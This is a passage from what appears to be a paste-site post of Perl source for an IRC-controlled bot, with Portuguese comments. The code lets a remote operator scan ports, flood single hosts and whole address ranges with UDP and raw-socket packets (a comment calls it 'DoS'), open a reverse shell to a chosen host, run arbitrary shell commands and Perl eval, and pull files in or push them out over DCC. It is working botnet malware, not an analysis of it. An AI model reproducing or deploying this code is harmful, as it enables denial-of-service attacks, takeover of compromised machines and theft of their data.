  1289. waitpid($pid, 0);
  1290. } else {
  1291. if (fork) {
  1292. exit;
  1293. } else {
  1294. if ($funcarg =~ /^portscan (.*)/) {
  1295. my $hostip="$1";
  1296. my @portas=("21","22","23","25","53","80","110","143");
  1297. my (@aberta, %porta_banner);
  1298. foreach my $porta (@portas) {
  1299. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  1300. if ($scansock) {
  1301. push (@aberta, $porta);
  1302. $scansock->close;
  1303. }
  1304. }
  1305. if (@aberta) {
  1306. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  1307. } else {
  1308. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  1309. }
  1310. }
  1311.  
  1312. elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  1313. getstore("$1", "$2");
  1314. sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu�do!") if ($estatisticas);
  1315. }
  1316.  
  1317. elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  1318. my $hostname="$1";
  1319. my $portainicial = "$2";
  1320. my $portafinal = "$3";
  1321. my (@abertas, %porta_banner);
  1322. foreach my $porta ($portainicial..$portafinal)
  1323. {
  1324. my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  1325. if ($scansock) {
  1326. push (@abertas, $porta);
  1327. $scansock->close;
  1328. if ($estatisticas) {
  1329. sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  1330. }
  1331. }
  1332. }
  1333. if (@abertas) {
  1334. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  1335. } else {
  1336. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  1337. }
  1338. }
  1339.  
  1340. # Duas Vers�es simplificada do meu Tr0x ;D
  1341. elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  1342. return unless $pacotes;
  1343. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  1344. my $alvo=inet_aton("$1");
  1345. my $porta = "$2";
  1346. my $tempo = "$3";
  1347. my $pacote;
  1348. my $pacotese;
  1349. my $fim = time + $tempo;
  1350. my $pacota = 1;
  1351. while (($pacota == "1") && ($pacotes == "1")) {
  1352. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  1353. $pacote=$rand x $rand x $rand;
  1354. $porta = int(rand 65000) +1 if ($porta == "0");
  1355. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  1356. }
  1357. if ($estatisticas)
  1358. {
  1359. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  1360. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  1361. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
  1362. }
  1363. }
  1364.  
  1365. elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  1366. return unless $pacotes;
  1367. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  1368. my $faixaip="$1";
  1369. my $porta = "$2";
  1370. my $tempo = "$3";
  1371. my $pacote;
  1372. my $pacotes;
  1373. my $fim = time + $tempo;
  1374. my $pacota = 1;
  1375. my $alvo;
  1376. while ($pacota == "1") {
  1377. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  1378. for (my $faixa = 1; $faixa <= 255; $faixa++) {
  1379. $alvo = inet_aton("$faixaip.$faixa");
  1380. $pacote=$rand x $rand x $rand;
  1381. $porta = int(rand 65000) +1 if ($porta == "0");
  1382. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  1383. if ($faixa >= 255) {
  1384. $faixa = 1;
  1385. }
  1386. }
  1387. }
  1388. if ($estatisticas)
  1389. {
  1390. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  1391. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  1392. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
  1393. }
  1394. }
  1395.  
  1396. # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
  1397. elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
  1398. my $host = "$1";
  1399. my $porta = "$2";
  1400. my $proto = getprotobyname('tcp');
  1401. my $iaddr = inet_aton($host);
  1402. my $paddr = sockaddr_in($porta, $iaddr);
  1403. my $shell = "/bin/sh";
  1404. if ($^O eq "MSWin32") {
  1405. $shell = "cmd.exe";
  1406. }
  1407. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  1408. connect(SOCKET, $paddr) or die "connect: $!";
  1409. open(STDIN, ">&SOCKET");
  1410. open(STDOUT, ">&SOCKET");
  1411. open(STDERR, ">&SOCKET");
  1412. system("$shell");
  1413. close(STDIN);
  1414. close(STDOUT);
  1415. close(STDERR);
  1416.  
  1417. if ($estatisticas)
  1418. {
  1419. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  1420. }
  1421. }
  1422.  
  1423. elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  1424. return unless $pacotes;
  1425. my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  1426. $dtime = 1 if $dtime == 0;
  1427. my %bytes;
  1428. $bytes{igmp} = $2 * $pacotes{igmp};
  1429. $bytes{icmp} = $2 * $pacotes{icmp};
  1430. $bytes{o} = $2 * $pacotes{o};
  1431. $bytes{udp} = $2 * $pacotes{udp};
  1432. $bytes{tcp} = $2 * $pacotes{tcp};
  1433. unless ($estatisticas)
  1434. {
  1435. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
  1436. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
  1437. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
  1438. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  1439. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M�dia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  1440. }
  1441. }
  1442. exit;
  1443. }
  1444. }
  1445. }
  1446.  
  1447. sub ircase {
  1448. my ($kem, $printl, $case) = @_;
  1449.  
  1450. if ($case =~ /^join (.*)/) {
  1451. j("$1");
  1452. }
  1453. elsif ($case =~ /^part (.*)/) {
  1454. p("$1");
  1455. }
  1456. elsif ($case =~ /^rejoin\s+(.*)/) {
  1457. my $chan = $1;
  1458. if ($chan =~ /^(\d+) (.*)/) {
  1459. for (my $ca = 1; $ca <= $1; $ca++ ) {
  1460. p("$2");
  1461. j("$2");
  1462. }
  1463. } else {
  1464. p("$chan");
  1465. j("$chan");
  1466. }
  1467. }
  1468. elsif ($case =~ /^op/) {
  1469. op("$printl", "$kem") if $case eq "op";
  1470. my $oarg = substr($case, 3);
  1471. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1472. }
  1473. elsif ($case =~ /^deop/) {
  1474. deop("$printl", "$kem") if $case eq "deop";
  1475. my $oarg = substr($case, 5);
  1476. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1477. }
  1478. elsif ($case =~ /^voice/) {
  1479. voice("$printl", "$kem") if $case eq "voice";
  1480. $oarg = substr($case, 6);
  1481. voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1482. }
  1483. elsif ($case =~ /^devoice/) {
  1484. devoice("$printl", "$kem") if $case eq "devoice";
  1485. $oarg = substr($case, 8);
  1486. devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1487. }
  1488. elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  1489. msg("$1", "$2");
  1490. }
  1491. elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1492. for (my $cf = 1; $cf <= $1; $cf++) {
  1493. msg("$2", "$3");
  1494. }
  1495. }
  1496. elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1497. for (my $cf = 1; $cf <= $1; $cf++) {
  1498. ctcp("$2", "$3");
  1499. }
  1500. }
  1501. elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1502. ctcp("$1", "$2");
  1503. }
  1504. elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  1505. invite("$1", "$2");
  1506. }
  1507. elsif ($case =~ /^nick (.*)/) {
  1508. nick("$1");
  1509. }
  1510. elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  1511. conectar("$2", "$1", 6667);
  1512. }
  1513. elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  1514. DCC::SEND("$1", "$2");
  1515. }
  1516. elsif ($case =~ /^raw (.*)/) {
  1517. sendraw("$1");
  1518. }
  1519. elsif ($case =~ /^eval (.*)/) {
  1520. eval "$1";
  1521. }
  1522. elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  1523. sleep int(rand($2));
  1524. j("$1");
  1525. }
  1526. elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  1527. sleep int(rand($2));
  1528. p("$1");
  1529. }
  1530. elsif ($case =~ /^sair/) {
  1531. quit();
  1532. }
  1533. elsif ($case =~ /^novonick/) {
  1534. my $novonick = getnick();
  1535. nick("$novonick");
  1536. }
  1537. elsif ($case =~ /^estatisticas (.*)/) {
  1538. if ($1 eq "on") {
  1539. $estatisticas = 1;
  1540. msg("$printl", "Estat�sticas ativadas!");
  1541. } elsif ($1 eq "off") {
  1542. $estatisticas = 0;
  1543. msg("$printl", "Estat�sticas desativadas!");
  1544. }
  1545. }
  1546. elsif ($case =~ /^pacotes (.*)/) {
  1547. if ($1 eq "on") {
  1548. $pacotes = 1;
  1549. msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  1550. } elsif ($1 eq "off") {
  1551. $pacotes = 0;
  1552. msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  1553. }
  1554. }
  1555. }
  1556. sub shell {
  1557. return unless $acessoshell;
  1558. my $printl=$_[0];
  1559. my $comando=$_[1];
  1560. if ($comando =~ /cd (.*)/) {
  1561. chdir("$1") || msg("$printl", "Diret�rio inexistente!");
  1562. return;
  1563. }
  1564. elsif ($pid = fork) {
  1565. waitpid($pid, 0);
  1566. } else {
  1567. if (fork) {
  1568. exit;
  1569. } else {
  1570. my @resp=`$comando 2>&1 3>&1`;
  1571. my $c=0;
  1572. foreach my $linha (@resp) {
  1573. $c++;
  1574. chop $linha;
  1575. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1576. if ($c >= "$linas_max") {
  1577. $c=0;
  1578. sleep $sleep;
  1579. }
  1580. }
  1581. exit;
  1582. }
  1583. }
  1584. }
  1585.  
  1586. #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
  1587. sub attacker {
  1588. my $iaddr = inet_aton($_[0]);
  1589. my $msg = 'B' x $_[1];
  1590. my $ftime = $_[2];
  1591. my $cp = 0;
  1592. my (%pacotes);
  1593. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1594.  
  1595. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1596. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1597. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1598. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1599. return(undef) if $cp == 4;
  1600. my $itime = time;
  1601. my ($cur_time);
  1602. while ( 1 ) {
  1603. for (my $porta = 1; $porta <= 65535; $porta++) {
  1604. $cur_time = time - $itime;
  1605. last if $cur_time >= $ftime;
  1606. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  1607. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  1608. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  1609. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  1610.  
  1611. # DoS ?? :P
  1612. for (my $pc = 3; $pc <= 255;$pc++) {
  1613. next if $pc == 6;
  1614. $cur_time = time - $itime;
  1615. last if $cur_time >= $ftime;
  1616. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1617. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  1618. }
  1619. }
  1620. last if $cur_time >= $ftime;
  1621. }
  1622. return($cur_time, %pacotes);
  1623. }
  1624.  
  1625. #############
  1626. # ALIASES #
  1627. #############
  1628.  
  1629. sub action {
  1630. return unless $#_ == 1;
  1631. sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  1632. }
  1633.  
  1634. sub ctcp {
  1635. return unless $#_ == 1;
  1636. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1637. }
  1638. sub msg {
  1639. return unless $#_ == 1;
  1640. sendraw("PRIVMSG $_[0] :$_[1]");
  1641. }
  1642.  
  1643. sub notice {
  1644. return unless $#_ == 1;
  1645. sendraw("NOTICE $_[0] :$_[1]");
  1646. }
  1647.  
  1648. sub op {
  1649. return unless $#_ == 1;
  1650. sendraw("MODE $_[0] +o $_[1]");
  1651. }
  1652. sub deop {
  1653. return unless $#_ == 1;
  1654. sendraw("MODE $_[0] -o $_[1]");
  1655. }
  1656. sub hop {
  1657. return unless $#_ == 1;
  1658. sendraw("MODE $_[0] +h $_[1]");
  1659. }
  1660. sub dehop {
  1661. return unless $#_ == 1;
  1662. sendraw("MODE $_[0] +h $_[1]");
  1663. }
  1664. sub voice {
  1665. return unless $#_ == 1;
  1666. sendraw("MODE $_[0] +v $_[1]");
  1667. }
  1668. sub devoice {
  1669. return unless $#_ == 1;
  1670. sendraw("MODE $_[0] -v $_[1]");
  1671. }
  1672. sub ban {
  1673. return unless $#_ == 1;
  1674. sendraw("MODE $_[0] +b $_[1]");
  1675. }
  1676. sub unban {
  1677. return unless $#_ == 1;
  1678. sendraw("MODE $_[0] -b $_[1]");
  1679. }
  1680. sub kick {
  1681. return unless $#_ == 1;
  1682. sendraw("KICK $_[0] $_[1] :$_[2]");
  1683. }
  1684.  
  1685. sub modo {
  1686. return unless $#_ == 0;
  1687. sendraw("MODE $_[0] $_[1]");
  1688. }
  1689. sub mode { modo(@_); }
  1690.  
  1691. sub j { &join(@_); }
  1692. sub join {
  1693. return unless $#_ == 0;
  1694. sendraw("JOIN $_[0]");
  1695. }
  1696. sub p { part(@_); }
  1697. sub part {sendraw("PART $_[0]");}
  1698.  
  1699. sub nick {
  1700. return unless $#_ == 0;
  1701. sendraw("NICK $_[0]");
  1702. }
  1703.  
  1704. sub invite {
  1705. return unless $#_ == 1;
  1706. sendraw("INVITE $_[1] $_[0]");
  1707. }
  1708. sub topico {
  1709. return unless $#_ == 1;
  1710. sendraw("TOPIC $_[0] $_[1]");
  1711. }
  1712. sub topic { topico(@_); }
  1713.  
  1714. sub whois {
  1715. return unless $#_ == 0;
  1716. sendraw("WHOIS $_[0]");
  1717. }
  1718. sub who {
  1719. return unless $#_ == 0;
  1720. sendraw("WHO $_[0]");
  1721. }
  1722. sub names {
  1723. return unless $#_ == 0;
  1724. sendraw("NAMES $_[0]");
  1725. }
  1726. sub away {
  1727. sendraw("AWAY $_[0]");
  1728. }
  1729. sub back { away(); }
  1730. sub quit {
  1731. sendraw("QUIT :$_[0]");
  1732. exit;
  1733. }
  1734.  
  1735. # DCC
  1736. package DCC;
  1737.  
  1738. sub connections {
  1739. my @ready = $dcc_sel->can_read(1);
  1740. # return unless (@ready);
  1741. foreach my $fh (@ready) {
  1742. my $dcctipo = $DCC{$fh}{tipo};
  1743. my $arquivo = $DCC{$fh}{arquivo};
  1744. my $bytes = $DCC{$fh}{bytes};
  1745. my $cur_byte = $DCC{$fh}{curbyte};
  1746. my $nick = $DCC{$fh}{nick};
  1747.  
  1748. my $msg;
  1749. my $nread = sysread($fh, $msg, 10240);
  1750.  
  1751. if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  1752. $DCC{$fh}{status} = "Cancelado";
  1753. $DCC{$fh}{ftime} = time;
  1754. $dcc_sel->remove($fh);
  1755. $fh->close;
  1756. next;
  1757. }
  1758.  
  1759. if ($dcctipo eq "get") {
  1760. $DCC{$fh}{curbyte} += length($msg);
  1761.  
  1762. my $cur_byte = $DCC{$fh}{curbyte};
  1763.  
  1764. open(FILE, ">> $arquivo");
  1765. print FILE "$msg" if ($cur_byte <= $bytes);
  1766. close(FILE);
  1767.  
  1768. my $packbyte = pack("N", $cur_byte);
  1769. print $fh "$packbyte";
  1770.  
  1771. if ($bytes == $cur_byte) {
  1772. $dcc_sel->remove($fh);
  1773. $fh->close;
  1774. $DCC{$fh}{status} = "Recebido";
  1775. $DCC{$fh}{ftime} = time;
  1776. next;
  1777. }
  1778. } elsif ($dcctipo eq "send") {
  1779. my $send = $fh->accept;
  1780. $send->autoflush(1);
  1781. $dcc_sel->add($send);
  1782. $dcc_sel->remove($fh);
  1783. $DCC{$send}{tipo} = 'sendcon';
  1784. $DCC{$send}{itime} = time;
  1785. $DCC{$send}{nick} = $nick;
  1786. $DCC{$send}{bytes} = $bytes;
  1787. $DCC{$send}{curbyte} = 0;
  1788. $DCC{$send}{arquivo} = $arquivo;
  1789. $DCC{$send}{ip} = $send->peerhost;
  1790. $DCC{$send}{porta} = $send->peerport;
  1791. $DCC{$send}{status} = "Enviando";
  1792.  
  1793. #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
  1794. open(FILE, "< $arquivo");
  1795. my $fbytes;
  1796. read(FILE, $fbytes, 1024);
  1797. print $send "$fbytes";
  1798. close FILE;
  1799. # delete($DCC{$fh});
  1800. } elsif ($dcctipo eq 'sendcon') {
  1801. my $bytes_sended = unpack("N", $msg);
  1802. $DCC{$fh}{curbyte} = $bytes_sended;
  1803. if ($bytes_sended == $bytes) {
  1804. $fh->close;
  1805. $dcc_sel->remove($fh);
  1806. $DCC{$fh}{status} = "Enviado";
  1807. $DCC{$fh}{ftime} = time;
  1808. next;
  1809. }
  1810. open(SENDFILE, "< $arquivo");
  1811. seek(SENDFILE, $bytes_sended, 0);
  1812. my $send_bytes;
  1813. read(SENDFILE, $send_bytes, 1024);
  1814. print $fh "$send_bytes";
  1815. close(SENDFILE);
  1816. }
  1817. }
  1818. }
  1819.  
  1820.  
  1821. sub SEND {
  1822. my ($nick, $arquivo) = @_;
  1823. unless (-r "$arquivo") {
  1824. return(0);
  1825. }
  1826.  
  1827. my $dccark = $arquivo;
  1828. $dccark =~ s/[.*\/](\S+)/$1/;
  1829.  
  1830. my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  1831. my $longip = unpack("N",inet_aton($meuip));
  1832.  
  1833. my @filestat = stat($arquivo);
  1834. my $size_total=$filestat[7];
  1835. if ($size_total == 0) {
  1836. return(0);
  1837. }
  1838.  
  1839. my ($porta, $sendsock);
  1840. do {
  1841. $porta = int rand(64511);
  1842. $porta += 1024;
  1843. $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  1844. } until $sendsock;
  1845.  
  1846. $DCC{$sendsock}{tipo} = 'send';
  1847. $DCC{$sendsock}{nick} = $nick;
  1848. $DCC{$sendsock}{bytes} = $size_total;
  1849. $DCC{$sendsock}{arquivo} = $arquivo;
  1850.  
  1851.  
  1852. &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  1853.  
  1854. }
  1855.  
  1856. sub GET {
  1857. my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  1858. return(0) if (-e "$arquivo");
  1859. if (open(FILE, "> $arquivo")) {
  1860. close FILE;
  1861. } else {
  1862. return(0);
  1863. }
  1864.  
  1865. my $dccip=fixaddr($dcclongip);
  1866. return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  1867. my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  1868. $dccsock->autoflush(1);
  1869. $dcc_sel->add($dccsock);
  1870. $DCC{$dccsock}{tipo} = 'get';
  1871. $DCC{$dccsock}{itime} = time;
  1872. $DCC{$dccsock}{nick} = $nick;
  1873. $DCC{$dccsock}{bytes} = $bytes;
  1874. $DCC{$dccsock}{curbyte} = 0;
  1875. $DCC{$dccsock}{arquivo} = $arquivo;
  1876. $DCC{$dccsock}{ip} = $dccip;
  1877. $DCC{$dccsock}{porta} = $dccporta;
  1878. $DCC{$dccsock}{status} = "Recebendo";
  1879. }
  1880.  
  1881. # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
  1882. sub Status {
  1883. my $socket = shift;
  1884. my $sock_tipo = $DCC{$socket}{tipo};
  1885. unless (lc($sock_tipo) eq "chat") {
  1886. my $nick = $DCC{$socket}{nick};
  1887. my $arquivo = $DCC{$socket}{arquivo};
  1888. my $itime = $DCC{$socket}{itime};
  1889. my $ftime = time;
  1890. my $status = $DCC{$socket}{status};
  1891. $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  1892.  
  1893. my $d_time = $ftime-$itime;
  1894.  
  1895. my $cur_byte = $DCC{$socket}{curbyte};
  1896. my $bytes_total = $DCC{$socket}{bytes};
  1897.  
  1898. my $rate = 0;
  1899. $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  1900. my $porcen = ($cur_byte*100)/$bytes_total;
  1901.  
  1902. my ($r_duv, $p_duv);
  1903. if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  1904. $r_duv = $3; $r_duv++ if $4 >= 5;
  1905. $rate = "$1\.$2"."$r_duv";
  1906. }
  1907. if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  1908. $p_duv = $3; $p_duv++ if $4 >= 5;
  1909. $porcen = "$1\.$2"."$p_duv";
  1910. }
  1911. return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  1912. }
  1913.  
  1914.  
  1915. return(0);
  1916. }
  1917.  
  1918.  
  1919. # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
  1920. sub fixaddr {
  1921. my ($address) = @_;
  1922.  
  1923. chomp $address; # just in case, sigh.
  1924. if ($address =~ /^\d+$/) {
  1925. return inet_ntoa(pack "N", $address);
  1926. } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  1927. return $address;
  1928. } elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
  1929. return inet_ntoa(((gethostbyname($address))[4])[0]);
  1930. } else {
  1931. return;
  1932. }
  1933. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement